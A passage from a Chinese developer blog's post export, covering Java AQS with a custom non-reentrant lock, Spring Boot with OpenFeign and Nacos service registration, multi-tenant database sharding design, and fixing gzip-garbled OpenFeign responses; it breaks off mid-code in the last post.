：判断当前线程是否正在独占资源，如果是则返回 true，否则返回 false。 AbstractQueuedSynchronizer 中的方法实现按照功能划分可以分为两大类，即获取资源（acquire）和释放资源（release），同时区分独占模式和共享模式\n可以看到具体实现类需要对资源在不同模式下的获得和释放进行具体定义。具体实现举例来说可以到 ReentrantReadWriteLock 中的 内部类 Sync 看一下。\n持锁的当前线程：exclusiveOwnerThread\n自实现 AQS 定义了一套多线程访问共享资源的同步模板，解决了实现同步器时涉及的大量细节问题，能够极大地减少实现工作，现在我们基于 AQS 实现一个不可重入的独占锁，直接使用 AQS 提供的独占式模板，只需明确 state 的语义与实现 tryAcquire 与 tryRelease 函数（获取资源与释放资源）。在这里 state 为 0 表示锁没有被线程持有，state 为 1 表示锁已经被某个线程持有，由于是不可重入锁，所以不需要记录持有锁线程的获取锁次数。\n不可重入的独占锁代码如下\n1 2public class NonReentrantLock implements Lock { 3 4 /** 5 * 6 * @Description 自定义同步器 7 */ 8 private static class Sync extends AbstractQueuedSynchronizer { 9 10 /** 11 * 锁是否被线程持有 12 */ 13 @Override 14 protected boolean isHeldExclusively() { 15 //0：未持有 1：已持有 16 return super.getState() == 1; 17 } 18 19 /** 20 * 获取锁 21 */ 22 @Override 23 protected boolean tryAcquire(int arg) { 24 if (arg != 1) { 25 //获取锁操作，是需要把 state 更新为 1，所以 arg 必须是 1 26 throw new RuntimeException(\u0026#34;arg not is 1\u0026#34;); 27 } 28 if (compareAndSetState(0, arg)) {//cas 更新 state 为 1 成功，代表获取锁成功 29 //设置持有锁线程 30 setExclusiveOwnerThread(Thread.currentThread()); 31 return true; 32 } 33 return false; 34 } 35 36 /** 37 * 释放锁 38 */ 39 @Override 40 protected boolean tryRelease(int arg) { 41 if (arg != 0) { 42 //释放锁操作，是需要把 state 更新为 0，所以 arg 必须是 0 43 throw new RuntimeException(\u0026#34;arg not is 0\u0026#34;); 44 } 45 //清空持有锁线程 46 setExclusiveOwnerThread(null); 47 //设置 state 状态为 0，此处不用 cas，因为只有获取锁成功的线程才会执行该函数，不需要考虑线程安全问题 48 setState(arg); 49 return true; 50 } 51 52 /** 53 * 提供创建条件变量入口 54 */ 55 public ConditionObject createConditionObject() { 56 return new ConditionObject(); 57 } 58 59 } 60 61 private final Sync sync = new Sync(); 62 63 /** 64 * 获取锁 65 */ 66 @Override 67 public void lock() { 68 //Aqs 独占式-获取资源模板函数 69 sync.acquire(1); 70 } 71 72 /** 73 * 获取锁-响应中断 74 */ 75 @Override 76 public void lockInterruptibly() throws InterruptedException { 77 //Aqs 独占式-获取资源模板函数（响应线程中断） 78 sync.acquireInterruptibly(1); 79 } 80 81 /** 82 * 获取锁是否成功-不阻塞 83 */ 84 @Override 85 public boolean tryLock() { 86 //子类实现 87 return sync.tryAcquire(1); 88 } 89 90 /** 91 * 获取锁-超时机制 92 */ 93 @Override 94 public boolean tryLock(long time, TimeUnit unit) throws InterruptedException { 95 //Aqs 独占式-获取资源模板函数（超时机制） 96 return sync.tryAcquireNanos(1,unit.toNanos(time)); 97 } 98 99 /** 100 * 释放锁 101 */ 102 @Override 103 public void unlock() { 104 //Aqs 独占式-释放资源模板函数 105 sync.release(0); 106 } 107 108 /** 109 * 创建条件变量 110 */ 111 @Override 112 public Condition newCondition() { 113 return sync.createConditionObject(); 114 } 115} NonReentrantLock 定义了一个内部类 Sync，Sync 用来实现具体的锁操作，它继承了 AQS，因为使用的是独占式模板，所以重写 tryAcquire 与 tryRelease 函数，另外提供了一个创建条件变量的入口，下面使用自定义的独占锁来同步两个线程对 j++。\n1 private static int j = 0; 2 3 public static void main(String[] agrs) throws InterruptedException { 4 NonReentrantLock nonReentrantLock = new NonReentrantLock(); 5 6 Runnable runnable = () -\u0026gt; { 7 //获取锁 8 nonReentrantLock.lock(); 9 for (int i = 0; i \u0026lt; 100000; i++) { 10 j++; 11 } 12 //释放锁 13 nonReentrantLock.unlock(); 14 }; 15 16 Thread thread = new Thread(runnable); 17 Thread threadTwo = new Thread(runnable); 18 19 thread.start(); 20 threadTwo.start(); 21 22 thread.join(); 23 threadTwo.join(); 24 25 System.out.println(j); 26 } 27 28 29无论执行多少次输出内容都是： 30200000 其他 LockSupport 辅助类 LockSupport 是一个线程阻塞工具类，所有的方法都是静态方法，可以让线程在任意位置阻塞，当然阻塞之后肯定得有唤醒的方法。\npark 是因为 park 英文意思为停车。我们如果把 Thread 看成一辆车的话，park 就是让车停下，unpark 就是让车启动然后跑起来。\npark/unpark 调用的是 Unsafe（提供 CAS 操作） 中的 native 代码。\n说明 本文参考了非常多网络图片和文章资料，严格意义上已经不算原创文章了，如本文引有的内容有侵权，请联系删除。\n参考 https://blog.csdn.net/lpf463061655/article/details/87290730 https://www.codenong.com/cs106963035/ https://mp.weixin.qq.com/s/bxWgo9IuggDpE1l37JqEhQ https://www.modb.pro/db/108644 https://mp.weixin.qq.com/s/BLnZYa4lbXUx3KEQm7Z7tA https://mp.weixin.qq.com/s/Y4GbMdNmSDvHtomxtObRSg https://www.baiyp.ren/CLH%E9%98%9F%E5%88%97%E9%94%81.html https://juejin.cn/post/6873020483755884552 https://mp.weixin.qq.com/s?__biz=MzU4NzU0MDIzOQ==\u0026amp;mid=2247488891\u0026amp;idx=1\u0026amp;sn=227928446c692aaa0085557682ed732d\u0026amp;scene=21#wechat_redirect ","date":"2021-10-28T11:26:17Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-10-28-che-di-li-jie-aqs-wo-shi-dong-le-ni-ne/cover.jpg","permalink":"/p/2021-10-28-che-di-li-jie-aqs-wo-shi-dong-le-ni-ne/","title":"彻底理解 AQS 我是懂了，你呢？"},{"content":"Nacos 先在本地部署 Nacos server，然后在 springBoot 项目中添加依赖，理想情况下，服务会自动会注册到注册中心。\n环境 SpringBoot 版本：2.3.1.RELEASE Nacos server 版本：2.0.3 nacos-discovery-spring-boot-starter 版本：0.2.10 Nacos Server 之前用过 Nacos 的 V1 版本，V2 版本没用过，这次用最新版本做个试验。\n本地部署 Nacos 没什么问题，我的本地环境是 Mac, 下载好最新的版本 (https://github.com/alibaba/nacos/archive/refs/tags/2.0.3.zip) 解压后，到 bin 目录执行\n1sh startup.sh -m standalone 然后浏览器查看 http://localhost:8848/nacos/ 用户名密码都是：nacos\n可以看到，我用的版本是 2.0.3\nSpring Boot 出问题的地方是在程序中引入的时候，由于要演示 feign 的远程调用，我们分别创建两个项目，provier 和 consumer.\n首先创建 provider, 先看下 pom.xml 文件中的依赖，可以看到跟 nacos 相关的只有一个。\n1 \u0026lt;!-- BOM 全局管理 starter 版本 --\u0026gt; 2 \u0026lt;dependencyManagement\u0026gt; 3 \u0026lt;dependencies\u0026gt; 4 \u0026lt;dependency\u0026gt; 5 \u0026lt;groupId\u0026gt;org.springframework.boot\u0026lt;/groupId\u0026gt; 6 \u0026lt;artifactId\u0026gt;spring-boot-dependencies\u0026lt;/artifactId\u0026gt; 7 \u0026lt;version\u0026gt;${spring-boot-dependencies.version}\u0026lt;/version\u0026gt; 8 \u0026lt;scope\u0026gt;import\u0026lt;/scope\u0026gt; 9 \u0026lt;type\u0026gt;pom\u0026lt;/type\u0026gt; 10 \u0026lt;/dependency\u0026gt; 11 \u0026lt;/dependencies\u0026gt; 12 \u0026lt;/dependencyManagement\u0026gt; 13 14 \u0026lt;dependencies\u0026gt; 15 16 \u0026lt;!-- openfeign --\u0026gt; 17 \u0026lt;dependency\u0026gt; 18 \u0026lt;groupId\u0026gt;org.springframework.cloud\u0026lt;/groupId\u0026gt; 19 \u0026lt;artifactId\u0026gt;spring-cloud-starter-openfeign\u0026lt;/artifactId\u0026gt; 20 \u0026lt;version\u0026gt;${spring-cloud-starter-openfeign.version}\u0026lt;/version\u0026gt; 21 \u0026lt;/dependency\u0026gt; 22 23 \u0026lt;dependency\u0026gt; 24 \u0026lt;groupId\u0026gt;org.projectlombok\u0026lt;/groupId\u0026gt; 25 \u0026lt;artifactId\u0026gt;lombok\u0026lt;/artifactId\u0026gt; 26 \u0026lt;version\u0026gt;${lombok.version}\u0026lt;/version\u0026gt; 27 \u0026lt;scope\u0026gt;provided\u0026lt;/scope\u0026gt; 28 \u0026lt;/dependency\u0026gt; 29 \u0026lt;dependency\u0026gt; 30 \u0026lt;groupId\u0026gt;org.springframework.boot\u0026lt;/groupId\u0026gt; 31 \u0026lt;artifactId\u0026gt;spring-boot-starter\u0026lt;/artifactId\u0026gt; 32 \u0026lt;/dependency\u0026gt; 33 \u0026lt;dependency\u0026gt; 34 \u0026lt;groupId\u0026gt;org.springframework.boot\u0026lt;/groupId\u0026gt; 35 \u0026lt;artifactId\u0026gt;spring-boot-starter-test\u0026lt;/artifactId\u0026gt; 36 \u0026lt;scope\u0026gt;test\u0026lt;/scope\u0026gt; 37 \u0026lt;/dependency\u0026gt; 38 39 \u0026lt;dependency\u0026gt; 40 \u0026lt;groupId\u0026gt;org.springframework.boot\u0026lt;/groupId\u0026gt; 41 \u0026lt;artifactId\u0026gt;spring-boot-starter-web\u0026lt;/artifactId\u0026gt; 42 \u0026lt;/dependency\u0026gt; 43 44 \u0026lt;dependency\u0026gt; 45 \u0026lt;groupId\u0026gt;com.alibaba.boot\u0026lt;/groupId\u0026gt; 46 \u0026lt;artifactId\u0026gt;nacos-discovery-spring-boot-starter\u0026lt;/artifactId\u0026gt; 47 \u0026lt;version\u0026gt;0.2.10\u0026lt;/version\u0026gt; 48 \u0026lt;/dependency\u0026gt; 49 50 \u0026lt;dependency\u0026gt; 51 \u0026lt;groupId\u0026gt;com.google.guava\u0026lt;/groupId\u0026gt; 52 \u0026lt;artifactId\u0026gt;guava\u0026lt;/artifactId\u0026gt; 53 \u0026lt;version\u0026gt;30.1.1-jre\u0026lt;/version\u0026gt; 54 \u0026lt;/dependency\u0026gt; 55 \u0026lt;/dependencies\u0026gt; 然后再看下 application.yml\n1server: 2 port: 8080 3 servlet: 4 context-path: /provider 5spring: 6 mvc: 7 throw-exception-if-no-handler-found: true # 处理 404 问题 8 resources: 9 add-mappings: false # 关闭 404 资源映射 10 application: 11 name: feign-provider 12 13nacos: 14 discovery: 15 server-addr: 127.0.0.1:8848 # Nacos 服务器地址 16 通过官方文档查看，配置比较简单，没什么特殊的。这里强调下，不需要在入口程序 BootstrapApplication 添加什么注解\n然后就出问题了，服务死活注册不上去，服务列表一直是空的。\n翻阅了各种文档和配置，终于在 github 的 wiki 上找到了官方的说明：https://github.com/nacos-group/nacos-spring-boot-project/wiki\n我需要的就是这个：\n1# 是否允许服务自动注册（默认为关闭自动注册） 2nacos.discovery.auto-register=true 由于之前用的是 V1 的版本，2 以后的配置没接触过，看来想要自动注册要把这个从 0.2.3 才有的配置加上（我们试验用的 starter 版本是 0.2.10)\n以后跟 nacos-discovery-spring-boot-starter 相关版本配置有关的功能，可以参考官方的 wiki：\n加上这个配置又丰富了一下后，配置文件变成这样：\n1server: 2 port: 8080 3 servlet: 4 context-path: /provider 5 6spring: 7 mvc: 8 throw-exception-if-no-handler-found: true # 处理 404 问题 9 resources: 10 add-mappings: false # 关闭 404 资源映射 11 application: 12 name: feign-provider 13 14nacos: 15 discovery: 16 server-addr: 127.0.0.1:8848 # Nacos 服务器地址 17 auto-register: true # 是否自动注册到 Nacos 中。默认为 false。 18 namespace: # 使用的 Nacos 的命名空间，默认为 null。 19 register: 20 service-name: ${spring.application.name} # 注册到 Nacos 的服务名 21 group-name: DEFAULT_GROUP # 使用的 Nacos 服务分组，默认为 DEFAULT_GROUP。 22 然后就顺利地注册上了：\nbut\n正当我兴冲冲地去写完 consumer 准备消费的时候，却发现怎么也消费不了，google 了个遍，一直都报这个错：\nLoad balancer does not have available server for client\n实在是不想 debug 源码了，消耗完耐心后，决定不用 springBoot 去整合了，还是回到\nSpring Cloud + Spring Cloud Alibaba 的路上。\nSpring Cloud + Spring Cloud Alibaba 首先要弄清楚版本间的依赖关系，因为版本众多，稍不注意就容易出问题，可以参考这里：\nhttps://github.com/alibaba/spring-cloud-alibaba/wiki/%E7%89%88%E6%9C%AC%E8%AF%B4%E6%98%8E\n而 Nacos 的例子，官方有一个直接抄 https://spring-cloud-alibaba-group.github.io/github-pages/hoxton/zh-cn/index.html#%E4%B8%80%E4%B8%AA%E4%BD%BF%E7%94%A8_nacos_discovery%E8%BF%9B%E8%A1%8C%E6%9C%8D%E5%8A%A1%E6%B3%A8%E5%86%8C%E5%8F%91%E7%8E%B0%E5%B9%B6%E8%B0%83%E7%94%A8%E7%9A%84%E4%BE%8B%E5%AD%90\n参考完官方的例子后，我的 provider 的 pom.xml 修改如下：\n1 \u0026lt;parent\u0026gt; 2 \u0026lt;groupId\u0026gt;org.springframework.boot\u0026lt;/groupId\u0026gt; 3 \u0026lt;artifactId\u0026gt;spring-boot-starter-parent\u0026lt;/artifactId\u0026gt; 4 \u0026lt;version\u0026gt;2.3.2.RELEASE\u0026lt;/version\u0026gt; 5 \u0026lt;relativePath/\u0026gt; 6 \u0026lt;/parent\u0026gt; 7 8 \u0026lt;properties\u0026gt; 9 \u0026lt;maven-compiler-plugin.version\u0026gt;3.8.1\u0026lt;/maven-compiler-plugin.version\u0026gt; 10 \u0026lt;maven-source.version\u0026gt;3.2.1\u0026lt;/maven-source.version\u0026gt; 11 \u0026lt;lombok.version\u0026gt;1.18.12\u0026lt;/lombok.version\u0026gt; 12 13 \u0026lt;spring.boot.version\u0026gt;2.3.2.RELEASE\u0026lt;/spring.boot.version\u0026gt; 14 \u0026lt;spring.cloud.version\u0026gt;Hoxton.SR9\u0026lt;/spring.cloud.version\u0026gt; 15 \u0026lt;spring.cloud.alibaba.version\u0026gt;2.2.6.RELEASE\u0026lt;/spring.cloud.alibaba.version\u0026gt; 16 17 \u0026lt;/properties\u0026gt; 18 19 \u0026lt;dependencyManagement\u0026gt; 20 \u0026lt;dependencies\u0026gt; 21 \u0026lt;dependency\u0026gt; 22 \u0026lt;groupId\u0026gt;org.springframework.cloud\u0026lt;/groupId\u0026gt; 23 \u0026lt;artifactId\u0026gt;spring-cloud-dependencies\u0026lt;/artifactId\u0026gt; 24 \u0026lt;version\u0026gt;${spring.cloud.version}\u0026lt;/version\u0026gt; 25 \u0026lt;type\u0026gt;pom\u0026lt;/type\u0026gt; 26 \u0026lt;scope\u0026gt;import\u0026lt;/scope\u0026gt; 27 \u0026lt;/dependency\u0026gt; 28 \u0026lt;dependency\u0026gt; 29 \u0026lt;groupId\u0026gt;com.alibaba.cloud\u0026lt;/groupId\u0026gt; 30 \u0026lt;artifactId\u0026gt;spring-cloud-alibaba-dependencies\u0026lt;/artifactId\u0026gt; 31 \u0026lt;version\u0026gt;${spring.cloud.alibaba.version}\u0026lt;/version\u0026gt; 32 \u0026lt;type\u0026gt;pom\u0026lt;/type\u0026gt; 33 \u0026lt;scope\u0026gt;import\u0026lt;/scope\u0026gt; 34 \u0026lt;/dependency\u0026gt; 35 \u0026lt;/dependencies\u0026gt; 36 \u0026lt;/dependencyManagement\u0026gt; 37 38 \u0026lt;dependencies\u0026gt; 39 \u0026lt;dependency\u0026gt; 40 \u0026lt;groupId\u0026gt;org.springframework.boot\u0026lt;/groupId\u0026gt; 41 \u0026lt;artifactId\u0026gt;spring-boot-starter-web\u0026lt;/artifactId\u0026gt; 42 \u0026lt;/dependency\u0026gt; 43 44 \u0026lt;dependency\u0026gt; 45 \u0026lt;groupId\u0026gt;org.springframework.cloud\u0026lt;/groupId\u0026gt; 46 \u0026lt;artifactId\u0026gt;spring-cloud-starter-openfeign\u0026lt;/artifactId\u0026gt; 47 \u0026lt;/dependency\u0026gt; 48 49 \u0026lt;dependency\u0026gt; 50 \u0026lt;groupId\u0026gt;org.springframework.boot\u0026lt;/groupId\u0026gt; 51 \u0026lt;artifactId\u0026gt;spring-boot-starter-actuator\u0026lt;/artifactId\u0026gt; 52 \u0026lt;/dependency\u0026gt; 53 54 \u0026lt;dependency\u0026gt; 55 \u0026lt;groupId\u0026gt;com.alibaba.cloud\u0026lt;/groupId\u0026gt; 56 \u0026lt;artifactId\u0026gt;spring-cloud-starter-alibaba-nacos-discovery\u0026lt;/artifactId\u0026gt; 57 \u0026lt;/dependency\u0026gt; 58 \u0026lt;/dependencies\u0026gt; application.yml 修改如下：\n1server: 2 port: 8080 3 servlet: 4 context-path: /provider 5 6spring: 7 mvc: 8 throw-exception-if-no-handler-found: true # 处理 404 问题 9 resources: 10 add-mappings: false # 关闭 404 资源映射 11 application: 12 name: feign-provider 13 14 cloud: 15 nacos: 16 discovery: 17 server-addr: 127.0.0.1:8848 # Nacos 服务器地址 18 # namespace: 03afd923-0972-48c4-80fc-69098625d8b0 controller 的接口该怎么写还怎么写，在启动类需要加入一个注解\n1@EnableDiscoveryClient 之后把 provider 启动起来，到 nacos 的 dashboard 看一下注册成功了。\n接着是 consumer\nconsumer 的 pom.xml、application.yml 与 provider 一样入口程序同样要加入：\n1@EnableDiscoveryClient feign 接口：\n1@FeignClient(name = \u0026#34;feign-provider\u0026#34;,path = \u0026#34;/provider\u0026#34;) 2public interface ProviderClient { 3 4 @GetMapping(\u0026#34;test/hello\u0026#34;) 5 String sayHello(); 6 7} controller 消费一下：\n1@RestController 2@RequestMapping(\u0026#34;/test\u0026#34;) 3public class ConsumerController { 4 5 @Autowired 6 private ProviderClient remoteClient; 7 8 @GetMapping(\u0026#34;/consume\u0026#34;) 9 public String consume() { 10 11 // ServiceInstance serviceInstance = loadBalancerClient.choose(\u0026#34;feign-provider\u0026#34;); 12 // String url = String.format(\u0026#34;http://%s:%s/echo/%s\u0026#34;,serviceInstance.getHost(),serviceInstance.getPort(),\u0026#34;feign-provider\u0026#34;); 13 // return restTemplate.getForObject(url,String.class); 14 15 return remoteClient.sayHello(); 16 } 17 18} 用浏览器请求 consumer 接口测试成功，可以调用到远程 provider 服务。\n总结 整体看技术上没什么难度，但 nacos-spring-boot-projec 这个项目直觉上是有坑的，试了许久还是有问题，也许是我没找到问题的根源，所以如果你有耐心可以试着搞搞，如果着急用，还是 Spring Cloud Alibaba 靠谱。\n参考 https://github.com/nacos-group/nacos-spring-boot-project/wiki https://github.com/alibaba/spring-cloud-alibaba/wiki/%E7%89%88%E6%9C%AC%E8%AF%B4%E6%98%8E https://spring-cloud-alibaba-group.github.io/github-pages/hoxton/zh-cn/index ","date":"2021-10-26T12:26:36Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-10-26-spring-boot-zheng-he-openfeign-nacos-de-keng/cover.jpg","permalink":"/p/2021-10-26-spring-boot-zheng-he-openfeign-nacos-de-keng/","title":"Spring Boot 整合 OpenFeign + Nacos 的坑"},{"content":"多租户系统设计 SaaS 的系统分级 SaaS 系统架构成熟度模型的 5 个级别——从“混乱”到“乌托邦“\n第 0 级（混乱）：每次新增一个客户，都会新增软件的一个实例。 第 1 级（受控的混乱）：所有客户都运行在软件的同一个版本上，而且任何的定制化都通过修改配置来实现。 第 2 级（多租户 [multi-tenant]、高层建筑 [Highrise]）：所有的客户都已经可以在软件的同一个版本上运行了，而且他们都在同一个“实例”上运行。 第 3 级（多租户， 扩建 [Build-Out]）：此时你已经拥有了多租户、单一版本的软件模型。不过你还是可以通过硬件扩展（scale-out）的方式来进行扩充。 第 4 级（乌托邦）：如同第 3 级，除非你可以找出有效的方式，以在不同的“实例”上运行不同版本的软件。 应用程序必须支持多租户：\n多租户可以分为几个不同的类别：\n云中的简单虚拟化，其中只对硬件进行共享。 共享应用程序，对每个租户使用不同的数据库。 共享应用程序和数据库（效率最高，真正的多租户）。 我们要实现的也即效率最高的，真正的多租户业务模型。但选择是有个筛选的过程的，下面分别介绍下各种多租户的数据隔离方案。\n独立应用独立库 有多个不同的应用，每个应用都有自己的数据库。这种方式虽然保证了租户数据的隔离，但无论是在扩展性和成本上都是最差的，故首先淘汰这种方式。\n同一个应用程序，每个租户一个库 优点是\n租户数据在数据库维护物理上隔离了， 由于是每个租户一个库可以在库表设计上做单独扩展，但这也引起了应用程序的兼容问题 缺点是数据库维护成本高，（举例：在相同数据结构的情况下，增加表中的列或索引，需要操作多个库）开发成本也高。\n同一个应用程序，同一个数据库 缺点：多租户数据库必然会牺牲租户隔离。多个租户的数据一起存储在一个数据库中。在开发过程中，确保查询不会暴露来自多个租户的数据。\n优点：是所有方案中成本最低的。\n分片多租户 分片多租户即：多租户的单应用+支持多租户的单数据库（分片）\n看起来是不是跟第一个图中：同一个应用程序，每个租户一个库模式差不多，只不过每个库多了几个租户数据？\n其实是大不相同的。\n首先，第一种模式中不同租户的库是可以分别扩展的，也就是结构可以不一样，但分片多租户的是同一种数据结构。\n其次，分片模式的扩展性很强，它可以是一个分片一个租户，也可以是一个分片多个租户，具体要看具体的分片策略。\n来看下分片模式下具体的指标情况：\n指标 分片多租户 可扩展性 无限 1-1000000s 租户隔离性 中等 每一个租户的数据库成本 最低 性能监控和管理 综合和单个（偏综合） 开发复杂度 中等 运维复杂度 从低到高，单租户的管理比较复杂 我们的模型选择 基于以上的分析，我们选择采用分片多租户的模型，因为这样可以获得无限的扩展能力，且对租户数据的隔离性也比较好。\n这样的话数据库结构就是统一的，不同分片是同一库表结构。而具体分库规则是可以配置的，建议前期按照 一租户一库 的策略配置。\n开发实践 每一个表的设计都应该考虑是否要加入 “租户 ID”字段，用来区别不同“租户”，或者不同客户，另外，也方便后面用“租房 ID”作为 分片键\n我们将引入 ShardingSphere 帮我们做数据库的分库分表，对于应用来说是相对透明的，减少应用开发在数据库层面由于引入分库分表的复杂度。\n我们利用分片规则对数据进行分片，例如根据租户 ID，配置分库分表规则\n1# 配置分片规则 2- !SHARDING 3 tables: 4 # 配置 t_order 表规则 5 t_order: 6 actualDataNodes: ds${0..1}.t_order${0..1} 7 # 配置分库策略 8 databaseStrategy: 9 standard: 10 shardingColumn: user_id 11 shardingAlgorithmName: database_inline 12 # 配置分表策略 13 tableStrategy: 14 standard: 15 shardingColumn: order_id 16 shardingAlgorithmName: table_inline 17 t_order_item: 18 # 省略配置 t_order_item 表规则。.. 19 # ... 20 21 # 配置分片算法 22 shardingAlgorithms: 23 database_inline: 24 type: INLINE 25 props: 26 algorithm-expression: ds${user_id % 2} 27 table_inline: 28 type: INLINE 29 props: 30 algorithm-expression: t_order_${order_id % 2} 当数据库表结构有变更的时候（DDL），通过 ShardingProxy 进行代理修改，ShardingProxy 会按照分库分表规则进行多库表的自动修改。 元数据/配置驱动 一个好的 SaaS 解决方案应该是高效的多租户。可以使用每个租户的元数据来实现多租户。可以为每个特定组件定义元数据。它定义了运行时的应用程序数据、应用程序的基础功能，以及特定租户的数据和自定义（如果有的话）。\n具体来说比如我们对多租户系统的 RBAC 权限配置管理，就是元数据配置。可以参考：\nhttp://www.uml.org.cn/yunjisuan/2021051944.asp?artid=23981 参考 https://linpxing.cn/cxy_saas_tenant_db_11/ http://www.uml.org.cn/yunjisuan/2021051944.asp?artid=23981 ","date":"2021-10-25T10:24:49Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-10-25-duo-zu-hu-xi-tong-she-ji/cover.jpg","permalink":"/p/2021-10-25-duo-zu-hu-xi-tong-she-ji/","title":"多租户系统设计"},{"content":"问题描述 前两天，开发同学发现线上某服务往第三方 API 发出的请求（这个请求是用 openFeign 包装过的），其响应有时为乱码\n后来经过测试能够稳定复现问题，开发同学通过分析发现，只要请求的 header 中有 “Accept-Encoding” 且值为 “gzip, deflate, br”，那么响应回来的数据必是乱码。\n通过这个现象我们得出结论，即给请求头加了压缩标识，数据也响应回来了，但是并没有解压缩。\n知道了原因，那么解决思路无非有二：\n不压缩了 加上解压缩实现 解决方案 第一种思路实现 第一个思路的解决方案即不压缩了，不管 openFeign 之前谁给加了什么 header 参数，我们只要把“Accept-Encoding” 重置就可以了。这里顺便介绍下这个参数详情：\nAccept-Encoding 和 Content-Encoding 是 HTTP 中用来对采用何种压缩格式传输正文进行协定的一对 header。工作原理如下：\n浏览器发送请求，通过 Accept-Encoding 带上自己支持的内容编码格式列表 服务端从中挑选一个用来对正文进行编码，并通过 Content-Encoding 响应头指明响应编码格式。 浏览器拿到响应正文后，根据 Content-Encoding 进行解压缩。服务端若响应未压缩的正文，则不允许返回 Content-Encoding。 压缩类型：\ngzip：表示采用 Lempel-Ziv coding (LZ77) 压缩算法，以及 32 位 CRC 校验的编码方式 Compress：采用 Lempel-Ziv-Welch (LZW) 压缩算法。 deflate：表示采用 zlib 结构 （在 RFC 1950 中规定），和 deflate 压缩算法（在 RFC 1951 中规定）。 identity：用于指代自身（未经过压缩和修改）。除非特别指明，这个标记始终可以被接受。 Br：表示采用 Brotli 算法的编码方式。内容编码： 内容编码针对的只是传输正文。HTTP/1 中，header 始终是以 ASCII 文本传输，没有经过任何压缩；HTTP/2 中引入 header 压缩技术。 所以我们下 2 种方法都是基于设置 “identity：用于指代自身（未经过压缩和修改）”，告诉请求不用压缩了，自然也就不用解压了。\nhttpclient\n在原始 feign 配置下，仍然利用 httpclient 作为 http 代理，不用 okhttp\n1 2package com.my.fedex.kuaidi100.rest; 3 4import com.my.fedex.common.constants.FedexConstants; 5import org.springframework.cloud.openfeign.FeignClient; 6import org.springframework.web.bind.annotation.PostMapping; 7import org.springframework.web.bind.annotation.RequestParam; 8 9@FeignClient(name = \u0026#34;kuaidi100\u0026#34;, url = FedexConstants.KUAIDI100_QUERY_URL, fallbackFactory = KuaiDi100FeignFallBack.class) 10//@RequestMapping(value = \u0026#34;/\u0026#34;, headers = {\u0026#34;Accept-Encoding=identity\u0026#34;}) 11public interface KuaiDi100Feign { 12 13 14 @PostMapping(headers = {\u0026#34;Accept-Encoding=identity\u0026#34;}) 15 String findKuaiDi100(@RequestParam(\u0026#34;customer\u0026#34;) String customer, 16 @RequestParam(\u0026#34;sign\u0026#34;) String sign, 17 @RequestParam(\u0026#34;param\u0026#34;) String param); 18} 只需将方法上的 postMapping 添加入一个新的 headers 即可，这个方法之前是这样声明的：\n1 2@PostMapping 3String findKuaiDi100(@RequestParam(\u0026#34;customer\u0026#34;) String customer, 4 @RequestParam(\u0026#34;sign\u0026#34;) String sign, 5 @RequestParam(\u0026#34;param\u0026#34;) String param); 或者也可以用原来的方法和方法上的 @PostMapping 声明，把接口上的注释打开即可。\nokhttp\n在我的测试中，如果客户端代理用 okhttp , 那么会报一个错，主要信息为\n1java.io.EOFException: \\n not found: limit=0 content=… 报这个的原因是 response 响应回来的内容为空 也就是 content-size 是 0 。那又是为什么呢？\n原因是：请求的 host 不对，我本地请求的 host 居然变成了 “localhost:8080”，显然我们请求对方接口的 host 应该为：“poll.kuaidi100.com”。这个现象只有在用 okhttp 时会这样，想来应该是透传了请求客户端的 host ，而 okhttp 没有计算对最终目标的 host。\n解决方法也很简单，是基于上面的方案再多加一个 header，最终为：\n1@PostMapping(headers = {\u0026#34;Accept-Encoding=identity\u0026#34;,\u0026#34;host=poll.kuaidi100.com\u0026#34;}) 总结：无论是利用 httpclient 还是 okhttp 都可以通过添加 headers 解决乱码的问题。但 okhttp 比较特殊要多加一个 host 。\n第二种思路实现 第二种思路即加上压缩，根据 spring 官方文档得知，httpclient 是可以直接配置 response 的解压实现的（人家 feign 都实现好了）, 配置方法也很简单，如下图所示：\n需要注意的是，也是文档中所写的，它不支持 okhttp，也就是说如果我们用 okhttp 代理不能这么干。\n那么问题来了，如果用 okhttp 怎么办，也是有办法的，但是是相对最麻烦的一种，目前想到的是自己手动实现一个解码器了，比如：\n1import feign.Response; 2import feign.Util; 3import feign.codec.Decoder; 4import org.springframework.cloud.openfeign.encoding.HttpEncoding; 5 6import java.io.BufferedReader; 7import java.io.ByteArrayInputStream; 8import java.io.IOException; 9import java.io.InputStreamReader; 10import java.lang.reflect.Type; 11import java.nio.charset.StandardCharsets; 12import java.util.Collection; 13import java.util.Objects; 14import java.util.zip.GZIPInputStream; 15 16public class CustomGZIPResponseDecoder implements Decoder { 17 18 final Decoder delegate; 19 20 public CustomGZIPResponseDecoder(Decoder delegate) { 21 Objects.requireNonNull(delegate, \u0026#34;Decoder must not be null. \u0026#34;); 22 this.delegate = delegate; 23 } 24 25 @Override 26 public Object decode(Response response, Type type) throws IOException { 27 Collection\u0026lt;String\u0026gt; values = response.headers().get(HttpEncoding.CONTENT_ENCODING_HEADER); 28 if(Objects.nonNull(values) \u0026amp;\u0026amp; !values.isEmpty() \u0026amp;\u0026amp; values.contains(HttpEncoding.GZIP_ENCODING)){ 29 byte[] compressed = Util.toByteArray(response.body().asInputStream()); 30 if ((compressed == null) || (compressed.length == 0)) { 31 return delegate.decode(response, type); 32 } 33 //decompression part 34 //after decompress we are delegating the decompressed response to default 35 //decoder 36 if (isCompressed(compressed)) { 37 final StringBuilder output = new StringBuilder(); 38 final GZIPInputStream gis = new GZIPInputStream(new ByteArrayInputStream(compressed)); 39 final BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(gis, StandardCharsets.UTF_8)); 40 String line; 41 while ((line = bufferedReader.readLine()) != null) { 42 output.append(line); 43 } 44 Response uncompressedResponse = response.toBuilder().body(output.toString().getBytes()).build(); 45 return delegate.decode(uncompressedResponse, type); 46 }else{ 47 return delegate.decode(response, type); 48 } 49 }else{ 50 return delegate.decode(response, type); 51 } 52 } 53 54 private static boolean isCompressed(final byte[] compressed) { 55 return (compressed[0] == (byte) (GZIPInputStream.GZIP_MAGIC)) \u0026amp;\u0026amp; (compressed[1] == (byte) (GZIPInputStream.GZIP_MAGIC \u0026gt;\u0026gt; 8)); 56 } 57} 根据官方文档的描述还是比较容易设置的。\n另外，下面这位网友给出了实践操作：https://stackoverflow.com/questions/51901333/okhttp-3-how-to-decompress-gzip-deflate-response-manually-using-java-android 也就是自己 new okHttpClient 然后设置一个 interceptor\n1OkHttpClient.Builder clientBuilder = new 